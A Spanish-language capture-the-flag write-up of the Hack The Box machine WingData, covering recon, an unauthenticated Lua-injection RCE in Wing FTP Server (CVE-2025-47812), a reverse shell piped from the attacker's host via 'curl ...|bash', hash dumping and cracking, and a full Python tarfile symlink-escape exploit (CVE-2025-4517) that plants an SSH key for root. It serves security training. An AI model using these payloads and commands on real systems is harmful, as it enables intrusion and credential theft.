En WingData descubrimos Wing FTP Server en una version vulnerable que permitio el acceso inicial. Los archivos de configuracion para este, permitieron exponer credenciales para un primer usuario. Escalamos privilegios a traves de una vulnerabilidad en TarFile de Python para la escritura de archivos a traves de enlaces simbolicos.
| Nombre |
WingData |
| OS |
Linux  |
| Puntos |
20 |
| Dificultad |
Easy |
| Fecha de Salida |
2026-02-14 |
| IP |
10.129.2.158 |
| Maker |
WackyH4cker |
|
Rated
|
{
"type": "bar",
"data": {
"labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
"datasets": [{
"label": "User Rated Difficulty",
"data": [66, 81, 231, 122, 53, 14, 9, 2, 4, 7],
"backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
}]
},
"options": {
"scales": {
"xAxes": [{"display": false}],
"yAxes": [{"display": false}]
},
"legend": {"labels": {"fontColor": "white"}},
"responsive": true
}
}
|
Recon
nmap
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
# Nmap 7.95 scan initiated Sat Feb 14 16:26:49 2026 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.129.2.158
Nmap scan report for 10.129.2.158
Host is up (0.067s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_ 256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open http Apache httpd 2.4.66
|_http-title: Did not follow redirect to http://wingdata.htb/
|_http-server-header: Apache/2.4.66 (Debian)
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 14 16:27:01 2026 -- 1 IP address (1 host up) scanned in 11.95 seconds
|
Web Site
El sitio web nos redirige al dominio wingdata.htb el cual agregamos al archivo /etc/hosts.
1
2
3
4
5
6
7
8
|
❯ curl -sI 10.129.2.158
HTTP/1.1 301 Moved Permanently
Date: Sat, 14 Feb 2026 22:28:39 GMT
Server: Apache/2.4.66 (Debian)
Location: http://wingdata.htb/
Content-Type: text/html; charset=iso-8859-1
❯
|
El sitio expone una descripcion de una solucion para compartir archivos.

Directory Brute Forcing
feroxbuster muestra contenido estatico dle sitio.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
❯ feroxbuster -u http://wingdata.htb -w $CM
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://wingdata.htb/
🚩 In-Scope Url │ wingdata.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirb/common.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
200 GET 151l 333w 3905c http://wingdata.htb/assets/js/templatemo-custom.js
200 GET 186l 505w 4928c http://wingdata.htb/assets/css/owl.css
200 GET 251l 1069w 12492c http://wingdata.htb/index.html
200 GET 193l 571w 5974c http://wingdata.htb/assets/js/animation.js
200 GET 44l 333w 19982c http://wingdata.htb/assets/images/contact-decoration.png
200 GET 4l 64w 23742c http://wingdata.htb/assets/css/fontawesome.css
200 GET 496l 1721w 13281c http://wingdata.htb/assets/js/imagesloaded.js
200 GET 149l 837w 67141c http://wingdata.htb/assets/images/about-left-image.png
200 GET 1577l 3269w 31620c http://wingdata.htb/assets/css/templatemo-space-dynamic.css
200 GET 329l 1996w 148839c http://wingdata.htb/assets/images/banner-right-image.png
200 GET 2l 1283w 86927c http://wingdata.htb/vendor/jquery/jquery.min.js
200 GET 3158l 6952w 76080c http://wingdata.htb/assets/css/animated.css
200 GET 3448l 10094w 93438c http://wingdata.htb/assets/js/owl-carousel.js
200 GET 7l 1002w 80223c http://wingdata.htb/vendor/bootstrap/js/bootstrap.bundle.min.js
200 GET 10724l 20204w 204037c http://wingdata.htb/vendor/bootstrap/css/bootstrap.min.css
200 GET 251l 1069w 12492c http://wingdata.htb/
301 GET 9l 29w 353c http://wingdata.htb/assets => http://wingdata.htb/assets/
301 GET 9l 29w 357c http://wingdata.htb/assets/css => http://wingdata.htb/assets/css/
301 GET 9l 29w 359c http://wingdata.htb/assets/fonts => http://wingdata.htb/assets/fonts/
301 GET 9l 29w 360c http://wingdata.htb/assets/images => http://wingdata.htb/assets/images/
301 GET 9l 29w 356c http://wingdata.htb/assets/js => http://wingdata.htb/assets/js/
301 GET 9l 29w 353c http://wingdata.htb/vendor => http://wingdata.htb/vendor/
301 GET 9l 29w 360c http://wingdata.htb/vendor/jquery => http://wingdata.htb/vendor/jquery/
❯
|
Subdomain Discovery
Tras ejecutar ffuf este muestra el subdominio ftp.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
❯ ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.wingdata.htb" -u http://wingdata.htb -fw 21
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://wingdata.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/namelist.txt
:: Header : Host: FUZZ.wingdata.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 21
________________________________________________
ftp [Status: 200, Size: 678, Words: 44, Lines: 10, Duration: 136ms]
:: Progress: [151265/151265] :: Job [1/1] :: 555 req/sec :: Duration: [0:05:02] :: Errors: 0 ::
❯
|
Wing FTP
En el subdominio encontramos el login para Wing FTP Server v7.4.3. Las credenciales anonymous: son aceptadas.

CVE-2025-47812
searchsploit muestra que existe un exploit para una vulnerabilidad que permite la ejecucion remota de comandos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
❯ searchsploit wing ftp 7.4.3
---------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------- ---------------------------------
Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execu | multiple/remote/52347.py
---------------------------------------------------------- ---------------------------------
Shellcodes: No Results
❯ searchsploit -m multiple/remote/52347.py
Exploit: Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE)
URL: https://www.exploit-db.com/exploits/52347
Path: /usr/share/exploitdb/exploits/multiple/remote/52347.py
Codes: CVE-2025-47812
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/htb/wingdata/52347.py
❯
|
El exploit realiza una inyeccion de codigo Lua al realizar el login.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
POST /loginok.html HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Origin: <target>
Connection: keep-alive
Referer: <target>/login.html?lang=english
Cookie: client_lang=english
Upgrade-Insecure-Requests: 1
Priority: u=0, i
username=anonymous%00]]%0dlocal+h+%3d+io.popen("<cmd>")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--&password=
|
Al realizar una solicitud a /dir.html se ejecutaria el comando.
1
2
3
4
5
6
7
8
9
10
|
GET /dir.html HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: UID=<uid_from_set-cookie>
Upgrade-Insecure-Requests: 1
Priority: u=0, i
|
El usuario por default a utilizar es anonymous, tras ejecutar el exploit observamos que fue aceptado y se realizo la ejecucion del comando indicado.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
❯ python CVE-2025-47812.py
usage: CVE-2025-47812.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-v] [-o OUTPUT] [-U USERNAME]
CVE-2025-47812.py: error: Either -u/--url or -f/--file must be specified.
❯ python CVE-2025-47812.py -u http://ftp.wingdata.htb -c id
[*] Testing target: http://ftp.wingdata.htb
[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'id' and username: 'anonymous'
[+] UID extracted: 3a99e4d2002defd74c101523a2ed6087f528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: 3a99e4d2002defd74c101523a2ed6087f528764d624db129b32c21fbca0cb8d6
--- Command Output ---
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
----------------------
❯
|
User - wingftp
Ejecutamos una shell inversa a traves del exploit.
1
2
3
4
5
6
|
❯ python CVE-2025-47812.py -u http://ftp.wingdata.htb -c 'curl 10.10.15.60:8000/10.10.15.60:1335|bash' -U anonymous
[*] Testing target: http://ftp.wingdata.htb
[+] Sending POST request to http://ftp.wingdata.htb/loginok.html with command: 'curl 10.10.15.60:8000/10.10.15.60:1335|bash' and username: 'anonymous'
[+] UID extracted: 45e947099b3fbdd7e38d0884d9fd3736f528764d624db129b32c21fbca0cb8d6
[+] Sending GET request to http://ftp.wingdata.htb/dir.html with UID: 45e947099b3fbdd7e38d0884d9fd3736f528764d624db129b32c21fbca0cb8d6
|
Logrando el acceso como wingftp.
1
2
3
4
5
6
7
8
9
|
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.15.60] from wingdata.htb [10.129.2.158] 43638
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
wingftp
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
/opt/wftpserver
$
|
Config Files
En el archivo de configuracion del administrador encontramos el hash.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
$ ls -lah _ADMINISTRATOR
total 16K
drwxr-x--- 2 wingftp wingftp 4.0K Feb 14 15:04 .
drwxr-x--- 4 wingftp wingftp 4.0K Feb 14 15:04 ..
-rwxr-x--- 1 wingftp wingftp 511 Feb 14 15:04 admins.xml
-rwxr-x--- 1 wingftp wingftp 372 Nov 2 16:26 settings.xml
$ cat _ADMINISTRATOR/admins.xml
<?xml version="1.0" ?>
<ADMIN_ACCOUNTS Description="Wing FTP Server Admin Accounts">
<ADMIN>
<Admin_Name>admin</Admin_Name>
<Password>a8339f8e4465a9c47158394d8efe7cc45a5f361ab983844c8562bef2193bafba</Password>
<Type>0</Type>
<Readonly>0</Readonly>
<IsDomainAdmin>0</IsDomainAdmin>
<DomainList></DomainList>
<MyDirectory></MyDirectory>
<EnableTwoFactor>0</EnableTwoFactor>
<TwoFactorCode></TwoFactorCode>
</ADMIN>
</ADMIN_ACCOUNTS>
$ pwd
/opt/wftpserver/Data
$
|
Tambien en los archivos para los usuarios.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
$ cat settings.xml | grep ServerPassword
<ServerPassword>2D35A8D420A697203D7C554A678F8119</ServerPassword>
$ ls -lah 1/users/
total 28K
drwxr-x--- 2 wingftp wingftp 4.0K Feb 14 17:44 .
drwxr-x--- 4 wingftp wingftp 4.0K Feb 9 08:19 ..
-rwxr-x--- 1 wingftp wingftp 2.8K Feb 14 17:44 anonymous.xml
-rwxr-x--- 1 wingftp wingftp 2.8K Nov 2 11:13 john.xml
-rw-rw-rw- 1 wingftp wingftp 2.8K Nov 2 12:05 maria.xml
-rw-rw-rw- 1 wingftp wingftp 2.8K Nov 2 12:02 steve.xml
-rw-rw-rw- 1 wingftp wingftp 2.8K Nov 2 12:28 wacky.xml
$ cat 1/users/*.xml | grep '<Password>' | cut -d '>' -f2 | cut -d '<' -f1
d67f86152e5c4df1b0ac4a18d3ca4a89c1b12e6b748ed71d01aeb92341927bca
c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10
a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03
5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca
$
|
En configuraciones (settings.xml) para usuarios, encontramos informacion para MySQL, LDAP y, el salt para los hashes de contrasena.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
$ ls
groups
portlistener.xml
settings.xml
users
$ cat settings.xml
<?xml version="1.0" ?>
<DOMAIN_OPTION Description="Wing FTP Server Domain settings">
# [... cut ...]
<MYSQL_Address>localhost</MYSQL_Address>
<MYSQL_Port>3306</MYSQL_Port>
<MYSQL_Username>root</MYSQL_Username>
<MYSQL_Password></MYSQL_Password>
<MYSQL_DatabaseName>wftp_database</MYSQL_DatabaseName>
# [... cut ...]
<ADUser_User_Mapping>ADUser001:LocalUser001
ADUser002:LocalUser002</ADUser_User_Mapping>
<LDAP_Enable>0</LDAP_Enable>
<LDAP_Host>localhost</LDAP_Host>
<LDAP_Port>389</LDAP_Port>
<LDAP_UseSSL>0</LDAP_UseSSL>
<LDAP_BindDN></LDAP_BindDN>
<LDAP_BindPass></LDAP_BindPass>
<LDAP_BaseDN></LDAP_BaseDN>
<LDAP_Filter>(&(objectClass=posixAccount)(uid=%s))</LDAP_Filter>
# [... cut ...]
<LDAP_User_Mapping>LDAPUser001:LocalUser001
LDAPUser002:LocalUser002</LDAP_User_Mapping>
<LDAP_Group_Mapping>CN=ADGroup1,CN=Builtin,DC=wftpserver,DC=com:LocalUser1
CN=ADGroup2,CN=Builtin,DC=wftpserver,DC=com:LocalUser2</LDAP_Group_Mapping>
<LDAP_Version>3</LDAP_Version>
# [... cut ...]>
<EnableSHA256>1</EnableSHA256>
# [... cut ...]
<TLS_Session_Timeout>3600</TLS_Session_Timeout>
<EnablePasswordSalting>1</EnablePasswordSalting>
<SaltingString>WingFTP</SaltingString>
# [... cut ...]
</DOMAIN_OPTION>
$
|
Agregamos el salt a los hashes encontrados.
1
2
3
4
5
6
7
|
$ for h in $(cat 1/users/*.xml | grep '<Password>' | cut -d '>' -f2 | cut -d '<' -f1); do echo "$h:WingFTP"; done;
d67f86152e5c4df1b0ac4a18d3ca4a89c1b12e6b748ed71d01aeb92341927bca:WingFTP
c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10:WingFTP
a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03:WingFTP
5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca:WingFTP
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP
$
|
Crack The Hash
Ejecutamos hashcat en modo 1410 para sha256($hash.$salt), este encontro el valor para dos, uno vacio y el otro pertenece a wacky.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
PS C:\Users\x\Documents\github\hashcat-7.1.2> ./hashcat.exe -m 1410 ./wftp_hashes.txt ./rockyou.txt
hashcat (v7.1.2) starting
# [... cut ...]
Dictionary cache hit:
* Filename..: ./rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
d67f86152e5c4df1b0ac4a18d3ca4a89c1b12e6b748ed71d01aeb92341927bca:WingFTP:
Approaching final keyspace - workload adjusted.
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1410 (sha256($pass.$salt))
Hash.Target......: ./wftp_hashes.txt
Time.Started.....: Sat Feb 14 17:10:49 2026 (1 sec)
Time.Estimated...: Sat Feb 14 17:10:50 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (./rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 26899.6 kH/s (1.81ms) @ Accel:1024 Loops:1 Thr:64 Vec:1
Recovered........: 2/5 (40.00%) Digests (total), 2/5 (40.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: 0213JR -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Temp: 36c Fan: 0% Util: 35% Core:2505MHz Mem:8251MHz Bus:8
# [... cut ...]
PS C:\Users\x\Documents\github\hashcat-7.1.2>
|
Observamos que las credenciales son aceptadas por SSH.
1
2
3
4
|
❯ netexec ssh wingdata.htb -u 'wacky' -p '!#7Blushing^*Bride5'
SSH 10.129.2.158 22 wingdata.htb [*] SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7
SSH 10.129.2.158 22 wingdata.htb [+] wacky:!#7Blushing^*Bride5 (Pwn3d!) Linux - Shell access!
❯
|
User - Wacky
Con este par logramos el acceso por ssh y a la flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
❯ ssh wacky@wingdata.htb
The authenticity of host 'wingdata.htb (10.129.2.158)' can't be established.
ED25519 key fingerprint is: SHA256:JacnW6dsEmtRtwu2ULpY/CK8n/8M9tU+6pQhjBG3a4w
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'wingdata.htb' (ED25519) to the list of known hosts.
wacky@wingdata.htb's password:
Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Feb 14 18:12:07 2026 from 10.10.15.60
wacky@wingdata:~$ whoami;id;pwd
wacky
uid=1001(wacky) gid=1001(wacky) groups=1001(wacky)
/home/wacky
wacky@wingdata:~$ ls
user.txt
wacky@wingdata:~$ cat user.txt
e41f72e15d68fca0f208d787d361e18d
wacky@wingdata:~$
|
Privesc
Wacky puede ejecutar como root el script restore_backup_clients.py.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
wacky@wingdata:~$ sudo -l -l
Matching Defaults entries for wacky on wingdata:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User wacky may run the following commands on wingdata:
Sudoers entry:
RunAsUsers: root
Options: !authenticate
Commands:
/usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
wacky@wingdata:~$ file /opt/backup_clients/restore_backup_clients.py
/opt/backup_clients/restore_backup_clients.py: Python script, Unicode text, UTF-8 text executable
wacky@wingdata:~$
|
Este permite restaurar archivos dentro de un archivo tar a un directorio objetivo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
wacky@wingdata:~$ python3 /opt/backup_clients/restore_backup_clients.py -h
usage: restore_backup_clients.py [-h] -b BACKUP -r RESTORE_DIR
Restore client configuration from a validated backup tarball.
options:
-h, --help show this help message and exit
-b BACKUP, --backup BACKUP
Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, where <client_id> is a positive integer, e.g., backup_1001.tar)
-r RESTORE_DIR, --restore-dir RESTORE_DIR
Staging directory name for the restore operation. Must follow the format: restore_<client_user> (e.g., restore_john). Only alphanumeric characters and
underscores are allowed in the <client_user> part (1–24 characters).
Example: sudo restore_backup_clients.py -b backup_1001.tar -r restore_john
wacky@wingdata:~$
|
El script utiliza la libreria tarfile, se espera un archivo backup backup_1001.tar, el archivo se restaura en /opt/backup_clients/restored_backups/<restore_dir_arg>.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
|
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse
BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"
def validate_backup_name(filename):
if not re.fullmatch(r"^backup_\d+\.tar$", filename):
return False
client_id = filename.split('_')[1].rstrip('.tar')
return client_id.isdigit() and client_id != "0"
def validate_restore_tag(tag):
return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))
def main():
parser = argparse.ArgumentParser(
description="Restore client configuration from a validated backup tarball.",
epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
)
parser.add_argument(
"-b", "--backup",
required=True,
help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
"where <client_id> is a positive integer, e.g., backup_1001.tar)"
)
parser.add_argument(
"-r", "--restore-dir",
required=True,
help="Staging directory name for the restore operation. "
"Must follow the format: restore_<client_user> (e.g., restore_john). "
"Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
)
args = parser.parse_args()
if not validate_backup_name(args.backup):
print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
sys.exit(1)
backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
if not os.path.isfile(backup_path):
print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
sys.exit(1)
if not args.restore_dir.startswith("restore_"):
print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
sys.exit(1)
tag = args.restore_dir[8:]
if not tag:
print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
sys.exit(1)
if not validate_restore_tag(tag):
print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
sys.exit(1)
staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
print(f"[+] Backup: {args.backup}")
print(f"[+] Staging directory: {staging_dir}")
os.makedirs(staging_dir, exist_ok=True)
try:
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
print(f"[+] Extraction completed in {staging_dir}")
except (tarfile.TarError, OSError, Exception) as e:
print(f"[!] Error during extraction: {e}", file=sys.stderr)
sys.exit(2)
if __name__ == "__main__":
main()
|
El usuario tiene acceso a ambos directorios, backups y restored_backups.
1
2
3
4
5
|
wacky@wingdata:~$ ls -ld /opt/backup_clients/restored_backups
drwxr-x--- 2 root wacky 4096 Jan 12 08:43 /opt/backup_clients/restored_backups
wacky@wingdata:~$ ls -ld /opt/backup_clients/backups
drwxrwx--- 2 root wacky 4096 Jan 12 08:32 /opt/backup_clients/backups
wacky@wingdata:~$
|
CVE-2025-4517
Encontramos el CVE-2025-4517 que afecta a la version de Python de la maquina, esta permite escribir/crear archivos a traves de enlaces simbolicos (symlink) en un archivo tar.
1
2
3
|
wacky@wingdata:~$ python3 --version
Python 3.12.3
wacky@wingdata:~$
|
Vemos el uso de tar.extractall en el script.
1
2
3
4
5
6
7
|
#!/usr/bin/env python3
import tarfile
# ... cut ...
try:
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
# .. cut ..
|
Modificamos el PoC para realizar la escritura de nuestra clave publica en el directorio /root en el archivo .ssh/authorized_keys.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
import tarfile
import os
import io
import sys
comp = 'd' * 247
steps = "abcdefghijklmnop"
path = ""
with tarfile.open("/opt/backup_clients/backups/backup_1001.tar", mode="x") as tar:
# populate the symlinks and dirs that expand in os.path.realpath()
for i in steps:
a = tarfile.TarInfo(os.path.join(path, comp))
a.type = tarfile.DIRTYPE
tar.addfile(a)
b = tarfile.TarInfo(os.path.join(path, i))
b.type = tarfile.SYMTYPE
b.linkname = comp
tar.addfile(b)
path = os.path.join(path, comp)
# create the final symlink that exceeds PATH_MAX and simply points to the
# top dir. this allows *any* path to be appended.
# this link will never be expanded by os.path.realpath(), nor anything after it.
linkpath = os.path.join("/".join(steps), "l"*254)
l = tarfile.TarInfo(linkpath)
l.type = tarfile.SYMTYPE
l.linkname = ("../" * len(steps))
tar.addfile(l)
# make a symlink outside to keep the tar command happy
e = tarfile.TarInfo("escape")
e.type = tarfile.SYMTYPE
e.linkname = linkpath + "/../../../../../../root"
tar.addfile(e)
# use the symlinks above, that are not checked, to create a hardlink
# to a file outside of the destination path
f = tarfile.TarInfo("flaglink")
f.type = tarfile.LNKTYPE
f.linkname = "escape/.ssh"
tar.addfile(f)
# now that we have the hardlink we can overwrite the file
with open("/home/wacky/.ssh/id_rsa.pub", "rb") as f:
pub_key = f.read().strip() + b"\n"
c = tarfile.TarInfo("escape/.ssh/authorized_keys")
c.type = tarfile.REGTYPE
c.size = len(pub_key)
tar.addfile(c, fileobj=io.BytesIO(pub_key))
|
Generamos una clave ssh para wacky.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
# generate ssh key for wacky
wacky@wingdata:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/wacky/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/wacky/.ssh/id_rsa
Your public key has been saved in /home/wacky/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:ZUHF1CDzoDzS63mBQb2eW5N2JJdlnDhQ7X4wTh1Y4HE wacky@wingdata
The key's randomart image is:
+---[RSA 3072]----+
| .o*=***E.|
| + ..*o++++|
| . * o...o=.|
| . B. . B..|
| S... B.o |
| . .o.= o..|
| o .+ o .|
| .. |
| |
+----[SHA256]-----+
wacky@wingdata:~$
|
Tras ejecutar el exploit este crearia el archivo backup_1001.tar. Ejecutamos el script especificando el archivo tar.
1
2
3
4
5
6
|
wacky@wingdata:~$ python3 /tmp/exploit.py
wacky@wingdata:~$ sudo python3 /opt/backup_clients/restore_backup_clients.py -b backup_1001.tar -r restore_root
[+] Backup: backup_1001.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_root
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_root
wacky@wingdata:~$
|
Con ello se agregaria nuestra clave publica a /root/.ssh/authorized_keys. Ejecutamos ssh para root logrando el acceso a este usuario y la flag root.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
wacky@wingdata:~$ ssh root@localhost
Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Feb 14 19:22:20 2026 from ::1
root@wingdata:~# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root
root@wingdata:~# cat root.txt
44ee56770ec1725eaf75e7a92d10f0d0
root@wingdata:~#
|
Dump Hashes
Realizamos la lectura del archivo /etc/shadow.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
root@wingdata:~# cat /etc/shadow
root:$y$j9T$o4QbpI9MXymg8tQSz73eq0$c1P1OfnBDpSlaHX8xmPTekraDfdl8gj5Xtghz.E5V3A:20394:0:99999:7:::
daemon:*:20394:0:99999:7:::
bin:*:20394:0:99999:7:::
sys:*:20394:0:99999:7:::
sync:*:20394:0:99999:7:::
games:*:20394:0:99999:7:::
man:*:20394:0:99999:7:::
lp:*:20394:0:99999:7:::
mail:*:20394:0:99999:7:::
news:*:20394:0:99999:7:::
uucp:*:20394:0:99999:7:::
proxy:*:20394:0:99999:7:::
www-data:*:20394:0:99999:7:::
backup:*:20394:0:99999:7:::
list:*:20394:0:99999:7:::
irc:*:20394:0:99999:7:::
_apt:*:20394:0:99999:7:::
nobody:*:20394:0:99999:7:::
systemd-network:!*:20394::::::
systemd-timesync:!*:20394::::::
